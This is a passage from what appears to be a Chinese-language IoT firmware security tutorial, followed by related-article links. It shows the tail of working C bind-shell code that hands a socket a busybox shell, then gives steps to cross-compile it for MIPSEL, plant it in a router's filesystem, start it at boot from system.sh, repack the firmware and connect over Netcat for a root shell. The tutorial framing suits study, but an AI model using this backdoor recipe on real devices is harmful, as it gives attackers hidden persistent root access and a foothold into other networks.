    while (1) {         len = sizeof(struct sockaddr);         clientfd = accept(serverfd, (struct sockaddr *)&client, &len);        server_pid = fork();        if (server_pid) {         write(clientfd, banner,  strlen(banner));           for(; i <3 /*u*/; i++) dup2(clientfd, i);           execve("/bin/busybox", args, (char *) 0);           close(clientfd);         } close(clientfd);    } return 0;}

代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。

4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:

./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell

下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。

5)在文件系统中,我们可以在 etc/templates/目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于/etc/scripts/目录下,脚本编写如图 3 所示。

img

6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。

img

执行完成后,会在目录 firmware-name/中生成新的固件,新固件名为 new-firmware.bin。

7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。

img

如图所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。

8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图所示。

img

根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

参考文献

https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/固件安全/实验/Dlink_DWR-932B路由器固件分析.md

https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-静态分析IoT固件/README.md

https://zhuanlan.zhihu.com/p/146228197

固件提取实战(附无损提取方案)

https://zhuanlan.zhihu.com/p/358956098

https://www.infoq.cn/article/8ukqrgkhcoxkrvnjnki6


http://www.kler.cn/a/554511.html

相关文章:

  • HarmonyOS开发,遇到 Object.assign(this, source)报错怎么解决?
  • 大数据治理中的数据安全:以类脑科学研究为背景的探讨
  • 使用Dify将AI机器人嵌入到你的前端页面中及chrome的扩展应用
  • Oracle和MySQL的分页查询语句
  • BFS算法——层层推进,最短之路,广度优先搜索算法的诗意旅程(下)
  • 网络安全钓鱼邮件测试 网络安全 钓鱼
  • netcore 启用gzip压缩及缓存
  • 个人搭建CDN加速服务 特网科技
  • 连续学习、增量学习有哪些应用场景?
  • 23. AI-大语言模型-DeepSeek赋能开发-Spring AI集成
  • 自适应SQL计划管理(Adaptive SQL Plan Management)在Oracle 12c中的应用
  • 企业软件合规性管理:构建高效、安全的软件资产生态
  • Linux系统配置阿里云yum源,安装docker
  • mac开发环境配置笔记
  • 什么是跨站脚本攻击(XSS)?
  • python:多重继承、MRO(方法解析顺序)
  • 茶叶叶片叶子品相识别检测数据集VOC+YOLO格式5631张2类别
  • TensorFlow深度学习实战——构建卷积神经网络实现CIFAR-10图像分类
  • 2025华为OD机试真题-猜字谜(C++)-E卷-100分
  • Ubuntu 服务器Llama Factory 搭建DeepSeek-R1微调训练环境